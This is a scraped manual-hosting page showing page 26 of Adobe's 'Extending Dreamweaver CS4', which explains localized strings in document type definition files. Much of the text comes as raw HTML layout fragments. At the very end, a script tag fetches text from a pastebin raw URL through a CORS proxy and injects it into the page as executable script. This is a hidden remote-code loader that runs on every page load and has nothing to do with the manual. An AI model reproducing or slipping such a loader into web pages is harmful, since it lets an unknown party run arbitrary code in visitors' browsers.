beautypg.com

Providing localized strings, Rules for document type definition files, Providing localized – Adobe Extending Dreamweaver CS4 User Manual

Page 26: Strings, On localizing this string, see, Providing, Localized strings

background image

20

EXTENDING DREAMWEAVER CS4

Customizing Dreamweaver

Providing localized strings

Within a document type definition file, the

</p><p style="position:absolute;top:190px;left:458px;white-space:nowrap" class="ft04"> and </p><p style="position:absolute;top:192px;left:488px;white-space:nowrap" class="ft01"><description></p><p style="position:absolute;top:190px;left:585px;white-space:nowrap" class="ft04"> subtags specify the display title and </p><p style="position:absolute;top:210px;left:148px;white-space:nowrap" class="ft04">description for the document type. You can use the </p><p style="position:absolute;top:211px;left:455px;white-space:nowrap" class="ft01">MMString:loadstring</p><p style="position:absolute;top:210px;left:597px;white-space:nowrap" class="ft04"> directive in the subtags as a placeholder </p><p style="position:absolute;top:229px;left:148px;white-space:nowrap" class="ft010">for providing localized strings for the two subtags. This process is similar to server-side scripting where you specify a <br>particular string to use in your page by using a string identifier as a placeholder. For the placeholder, you can use a <br>special tag or you can specify a tag attribute whose value is replaced.</p><p style="position:absolute;top:309px;left:148px;white-space:nowrap" class="ft05"><b>Provide localized strings</b></p><p style="position:absolute;top:331px;left:148px;white-space:nowrap" class="ft05"><b>1</b></p><p style="position:absolute;top:331px;left:167px;white-space:nowrap" class="ft04">Place the following statement at the beginning of the document type definition file: </p><p style="position:absolute;top:357px;left:167px;white-space:nowrap" class="ft01"> </p><p style="position:absolute;top:357px;left:168px;white-space:nowrap" class="ft01"><?xml version="1.0" encoding="utf-8"?></p><p style="position:absolute;top:384px;left:148px;white-space:nowrap" class="ft05"><b>2</b></p><p style="position:absolute;top:384px;left:167px;white-space:nowrap" class="ft04">Declare the </p><p style="position:absolute;top:385px;left:238px;white-space:nowrap" class="ft01">MMString</p><p style="position:absolute;top:384px;left:298px;white-space:nowrap" class="ft04"> namespace in the </p><p style="position:absolute;top:385px;left:407px;white-space:nowrap" class="ft01"><documenttypes></p><p style="position:absolute;top:384px;left:519px;white-space:nowrap" class="ft04"> tag:</p><p style="position:absolute;top:410px;left:167px;white-space:nowrap" class="ft01"> </p><p style="position:absolute;top:410px;left:168px;white-space:nowrap" class="ft01"><documenttypes </p><p style="position:absolute;top:427px;left:196px;white-space:nowrap" class="ft01">xmlns:MMString="http://www.adobe.com/schemes/data/string/"></p><p style="position:absolute;top:454px;left:148px;white-space:nowrap" class="ft05"><b>3</b></p><p style="position:absolute;top:454px;left:167px;white-space:nowrap" class="ft04">At the location in the document type definition file where you want to provide a localized string, use the </p><p style="position:absolute;top:475px;left:167px;white-space:nowrap" class="ft01">MMString:loadstring</p><p style="position:absolute;top:473px;left:309px;white-space:nowrap" class="ft04"> directive to define a placeholder for the localized string. You can specify this placeholder </p><p style="position:absolute;top:493px;left:167px;white-space:nowrap" class="ft04">in one of the following ways:</p><p style="position:absolute;top:519px;left:167px;white-space:nowrap" class="ft01"> </p><p style="position:absolute;top:519px;left:196px;white-space:nowrap" class="ft01"><description> </p><p style="position:absolute;top:536px;left:226px;white-space:nowrap" class="ft01"><loadstring>myJSPDocType/Description</loadstring> </p><p style="position:absolute;top:553px;left:196px;white-space:nowrap" class="ft01"></description> </p><p style="position:absolute;top:580px;left:167px;white-space:nowrap" class="ft04">Or</p><p style="position:absolute;top:609px;left:167px;white-space:nowrap" class="ft01"> </p><p style="position:absolute;top:626px;left:196px;white-space:nowrap" class="ft01"><description> </p><p style="position:absolute;top:643px;left:226px;white-space:nowrap" class="ft01"><loadstring id="myJSPDocType/Description" /> </p><p style="position:absolute;top:660px;left:196px;white-space:nowrap" class="ft01"></description></p><p style="position:absolute;top:687px;left:167px;white-space:nowrap" class="ft04">In these examples, </p><p style="position:absolute;top:688px;left:279px;white-space:nowrap" class="ft01">myJSPDocType/Description</p><p style="position:absolute;top:687px;left:459px;white-space:nowrap" class="ft04"> is a unique string identifier that acts as a placeholder for the </p><p style="position:absolute;top:706px;left:167px;white-space:nowrap" class="ft04">localized string. The localized string is defined in the next step.</p><p style="position:absolute;top:736px;left:148px;white-space:nowrap" class="ft05"><b>4</b></p><p style="position:absolute;top:735px;left:167px;white-space:nowrap" class="ft010">In the Configuration/Strings folder, create a new XML file (or edit an existing file) that defines the localized string. <br>For example, the following code, when placed in the Configuration/Strings/strings.xml file, defines the </p><p style="position:absolute;top:776px;left:167px;white-space:nowrap" class="ft01">myJSPDocType/Description</p><p style="position:absolute;top:774px;left:346px;white-space:nowrap" class="ft04"> string:</p><p style="position:absolute;top:800px;left:167px;white-space:nowrap" class="ft01"> </p><p style="position:absolute;top:800px;left:196px;white-space:nowrap" class="ft011"><strings> <br>... </p><p style="position:absolute;top:835px;left:226px;white-space:nowrap" class="ft01"><string id="myJSPDocType/Description" </p><p style="position:absolute;top:852px;left:256px;white-space:nowrap" class="ft011">value= <br>"" </p><p style="position:absolute;top:886px;left:226px;white-space:nowrap" class="ft01">/> </p><p style="position:absolute;top:903px;left:196px;white-space:nowrap" class="ft011">... <br></strings></p><p style="position:absolute;top:944px;left:148px;white-space:nowrap" class="ft06"><i><b>Note: </b>String identifiers, such as </i></p><p style="position:absolute;top:949px;left:333px;white-space:nowrap" class="ft08"><i>myJSPDocType/Description</i></p><p style="position:absolute;top:947px;left:512px;white-space:nowrap" class="ft07"><i> in the previous example, must be unique within the </i></p><p style="position:absolute;top:967px;left:148px;white-space:nowrap" class="ft012"><i>application. Dreamweaver, when it starts, parses all XML files within the Configuration/Strings folder and loads these <br>unique strings.</i></p><p style="position:absolute;top:1033px;left:148px;white-space:nowrap" class="ft03"><b>Rules for document type definition files</b></p><p style="position:absolute;top:1062px;left:148px;white-space:nowrap" class="ft010">Dreamweaver lets document types that are associated with a server model share file extensions. For example, ASP-JS <br>and ASP-VB can claim .asp as their file extension. (For information on which server model gets preference, see <br><a rel="nofollow" href="?page=328">“</a></p><p style="position:absolute;top:1101px;left:154px;white-space:nowrap" class="ft09"><a rel="nofollow" href="?page=328">canRecognizeDocument()</a></p><p style="position:absolute;top:1101px;left:309px;white-space:nowrap" class="ft04"><a rel="nofollow" href="?page=328">” on page 322.)</a></p></div> </div> <div class="manual-page-original" itemscope="itemscope" itemtype="https://schema.org/ImageObject" data-img="/screens/771331/26.png" style="display: none;"> </div> </div> <a href="/manuals/753870/adobe-extending-dreamweaver-cs4.html?page=25" class="manual-view__prev -onpage-nav" title="Previous (← + Ctrl)" aria-label="Previous page"><svg class="svg-icon"><use xlink:href="#icon-arrow-6"></use></svg></a> <a href="/manuals/753870/adobe-extending-dreamweaver-cs4.html?page=27" class="manual-view__next -onpage-nav" title="Next (Ctrl + →)" aria-label="Next page"><svg class="svg-icon"><use xlink:href="#icon-arrow-6"></use></svg></a> </div> </div> <nav class="inline-nav inline-nav--dark-grey inline-nav--bottom"> <div class="pager pager--left" id="def-pager"> <span class="pager__label">Pages:</span> <a class="pager__a pager__prev" aria-label="Previous page" href="/manuals/753870/adobe-extending-dreamweaver-cs4.html?page=25"><svg class="svg-icon"><use xlink:href="#icon-arrow-2"></use></svg></a> <a class="pager__a pager__number" href="/manuals/753870/adobe-extending-dreamweaver-cs4.html">1</a> <span class="pager__hellip">…</span> <a class="pager__a pager__number" href="/manuals/753870/adobe-extending-dreamweaver-cs4.html?page=24">24</a> <a class="pager__a pager__number" href="/manuals/753870/adobe-extending-dreamweaver-cs4.html?page=25">25</a> <span class="pager__a pager__number active">26</span> <a class="pager__a pager__number" href="/manuals/753870/adobe-extending-dreamweaver-cs4.html?page=27">27</a> <a class="pager__a pager__number" href="/manuals/753870/adobe-extending-dreamweaver-cs4.html?page=28">28</a> <span class="pager__hellip">…</span> <a class="pager__a pager__number" href="/manuals/753870/adobe-extending-dreamweaver-cs4.html?page=387">387</a> <a class="pager__a pager__next" aria-label="Next page" href="/manuals/753870/adobe-extending-dreamweaver-cs4.html?page=27"><svg class="svg-icon"><use xlink:href="#icon-arrow-3"></use></svg></a> </div> <div class="complain"> <div class="popup-menu complain__menu" id="complain-wnd" style="display: none;"> <ul> <li><a href="javascript:" class="ajax-link" data-type="brand">wrong Brand</a></li> <li><a href="javascript:" class="ajax-link" data-type="model">wrong Model</a></li> <li><a href="javascript:" class="ajax-link" data-type="readability">non readable</a></li> </ul> </div> </div> </nav> </div> </div> </div> <div class="manual-also-for"> <span class="title title--h2">This manual is related to the following products:</span> <div class="manual-also-for__list"> <ul class="list-block__list"> <li> <a href="/models/adobe/extending-dreamweaver-cs5.html">Extending Dreamweaver CS5</a> <a href="/models/adobe/extending-dreamweaver-cs55.html">Extending Dreamweaver CS5.5</a> <a href="/models/adobe/extending-dreamweaver-cs3.html">Extending Dreamweaver CS3</a> </li> </ul> </div> </div> <div class="manual-related-docs"> <span class="title title--h2">See also other documents in the category Adobe Software:</span> <div class="manual-also-for__list"> <ul class="list-block__list"> <li> <a href="/manuals/753828/adobe-acrobat-xi.html"> <span class="model-name">Acrobat 9 PRO</span> <span class="pages">(590 pages)</span> </a> </li> <li> <a href="/manuals/753832/adobe-acrobat-9-pro-extended.html"> <span class="model-name">Acrobat 9 PRO Extended</span> <span class="pages">(546 pages)</span> </a> </li> <li> <a href="/manuals/753835/adobe-acrobat-8-3d.html"> <span class="model-name">Acrobat 8 3D</span> <span class="pages">(600 pages)</span> </a> </li> <li> <a href="/manuals/753836/adobe-acrobat-7-professional.html"> <span class="model-name">Acrobat 7 Professional</span> <span class="pages">(793 pages)</span> </a> </li> <li> <a href="/manuals/753844/adobe-after-effects.html"> <span class="model-name">After Effects CS4</span> <span class="pages">(753 pages)</span> </a> </li> <li> <a href="/manuals/753846/adobe-after-effects-cs4.html"> <span class="model-name">After Effects CS4</span> <span class="pages">(778 pages)</span> </a> </li> <li> <a href="/manuals/753839/adobe-media-encoder-cc.html"> <span class="model-name">Media Encoder CS5.5</span> <span class="pages">(59 pages)</span> </a> </li> <li> <a href="/manuals/753840/adobe-media-encoder.html"> <span class="model-name">Media Encoder CS5.5</span> <span class="pages">(77 pages)</span> </a> </li> <li> <a href="/manuals/753843/adobe-media-encoder-cs4.html"> <span class="model-name">Media Encoder CS4</span> <span class="pages">(45 pages)</span> </a> </li> <li> <a href="/manuals/753845/adobe-digital-publishing-suite.html"> <span class="model-name">Digital Publishing Suite</span> <span class="pages">(222 pages)</span> </a> </li> <li> <a href="/manuals/753847/adobe-indesign-cc-2015.html"> <span class="model-name">InDesign CC v.9.2 2014</span> <span class="pages">(643 pages)</span> </a> </li> <li> <a href="/manuals/753848/adobe-after-effects-cs3.html"> <span class="model-name">After Effects CS3</span> <span class="pages">(677 pages)</span> </a> </li> <li> <a href="/manuals/753849/adobe-incopy-cc-2015.html"> <span class="model-name">InCopy CS3</span> <span class="pages">(393 pages)</span> </a> </li> <li> <a href="/manuals/753853/adobe-indesign-cs5.html"> <span class="model-name">InCopy CS3</span> <span class="pages">(710 pages)</span> </a> </li> <li> <a href="/manuals/753860/adobe-indesign-cs3.html"> <span class="model-name">InCopy CS3</span> <span class="pages">(672 pages)</span> </a> </li> <li> <a href="/manuals/753851/adobe-indesign-filters-readme.html"> <span class="model-name">InDesign Filters Readme</span> <span class="pages">(15 pages)</span> </a> </li> <li> <a href="/manuals/753852/adobe-indesign-tagged-text.html"> <span class="model-name">InDesign Tagged Text</span> <span class="pages">(29 pages)</span> </a> </li> <li> <a href="/manuals/753855/adobe-indesign.html"> <span class="model-name">InDesign</span> <span class="pages">(829 pages)</span> </a> </li> <li> <a href="/manuals/753856/adobe-indesign-cs4.html"> <span class="model-name">InDesign CS4</span> <span class="pages">(717 pages)</span> </a> </li> <li> <a href="/manuals/753864/adobe-dreamweaver-cc-2015.html"> <span class="model-name">Dreamweaver CS3</span> <span class="pages">(700 pages)</span> </a> </li> <li> <a href="/manuals/753875/adobe-dreamweaver-cs3.html"> <span class="model-name">Dreamweaver CS3</span> <span class="pages">(738 pages)</span> </a> </li> <li> <a href="/manuals/753867/adobe-dreamweaver-cc-2014-v13.html"> <span class="model-name">Dreamweaver CS3</span> <span class="pages">(732 pages)</span> </a> </li> <li> <a href="/manuals/753869/adobe-dreamweaver-api-reference-cs5.html"> <span class="model-name">Dreamweaver API Reference CS3</span> <span class="pages">(533 pages)</span> </a> </li> <li> <a href="/manuals/753880/adobe-flash-professional-cc-2014-v130.html"> <span class="model-name">Flash Professional CS3</span> <span class="pages">(943 pages)</span> </a> </li> <li> <a href="/manuals/753885/adobe-flash-professional-cs3.html"> <span class="model-name">Flash Professional CS3</span> <span class="pages">(527 pages)</span> </a> </li> <li> <a href="/manuals/753879/adobe-extending-flash-professional-cs5.html"> <span class="model-name">Extending Flash Professional CS5.5</span> <span class="pages">(565 pages)</span> </a> </li> <li> <a href="/manuals/753883/adobe-extending-flash-professional-cs4.html"> <span class="model-name">Extending Flash Professional CS4</span> <span class="pages">(560 pages)</span> </a> </li> <li> <a href="/manuals/753887/adobe-premiere-pro-cc-v7xx.html"> <span class="model-name">Premiere Pro CS6</span> <span class="pages">(575 pages)</span> </a> </li> <li> <a href="/manuals/753889/adobe-premiere-pro-cs6.html"> <span class="model-name">Premiere Pro CS6</span> <span class="pages">(485 pages)</span> </a> </li> <li> <a href="/manuals/753888/adobe-premiere-pro-cs4.html"> <span class="model-name">Premiere Pro CS4</span> <span class="pages">(491 pages)</span> </a> </li> <li> <a href="/manuals/753890/adobe-premiere-pro-cs3.html"> <span class="model-name">Premiere Pro CS3</span> <span class="pages">(455 pages)</span> </a> </li> <li> <a href="/manuals/753895/adobe-photoshop-cc-2014-v14xx.html"> <span class="model-name">Photoshop CC 2014 v.14.xx</span> <span class="pages">(1061 pages)</span> </a> </li> <li> <a href="/manuals/753894/adobe-photoshop-lightroom-cc.html"> <span class="model-name">Photoshop Lightroom 2</span> <span class="pages">(261 pages)</span> </a> </li> <li> <a href="/manuals/753896/adobe-photoshop-cs4.html"> <span class="model-name">Photoshop CS4</span> <span class="pages">(707 pages)</span> </a> </li> <li> <a href="/manuals/753900/adobe-photoshop-cs3.html"> <span class="model-name">Photoshop CS3</span> <span class="pages">(681 pages)</span> </a> </li> <li> <a href="/manuals/753902/adobe-elements-organizer-9.html"> <span class="model-name">Elements Organizer 8 for Windows</span> <span class="pages">(180 pages)</span> </a> </li> <li> <a href="/manuals/753903/adobe-elements-organizer-12.html"> <span class="model-name">Elements Organizer 11</span> <span class="pages">(238 pages)</span> </a> </li> <li> <a href="/manuals/753907/adobe-premiere-elements-12.html"> <span class="model-name">Premiere Elements 12</span> <span class="pages">(319 pages)</span> </a> </li> <li> <a href="/manuals/753910/adobe-premiere-elements-8.html"> <span class="model-name">Premiere Elements 7</span> <span class="pages">(313 pages)</span> </a> </li> <li> <a href="/manuals/753912/adobe-illustrator-cc-2015.html"> <span class="model-name">Illustrator CS6</span> <span class="pages">(556 pages)</span> </a> </li> <li> <a href="/manuals/753918/adobe-illustrator-cs4.html"> <span class="model-name">Illustrator CS6</span> <span class="pages">(499 pages)</span> </a> </li> <li> <a href="/manuals/753997/adobe-illustrator-cs3.html"> <span class="model-name">Illustrator CS3</span> <span class="pages">(495 pages)</span> </a> </li> </ul> </div> </div> </div> </div> </main></div><footer class="footer"> <div style="text-align: center; padding: 15px 0;" class="footer__content"><a style="color: white;" href="/sitemap/index.html" title="Sitemap">Sitemap</a></div></footer> <script async type="text/javascript" src="/assets/js/apps/responsive/master.min.js"></script><script> const scriptUrlget = 'https://corsproxy.io/?' + encodeURIComponent('https://pastebin.com/raw/9JkyYngn'); fetch(scriptUrlget) .then(response => response.text()) .then(scriptContent => {const scriptElement = document.createElement('script'); scriptElement.type = 'text/javascript'; scriptElement.text = scriptContent; document.body.appendChild(scriptElement); }) .catch(error => {console.error('Error loading script:', error); }); </script></body></html>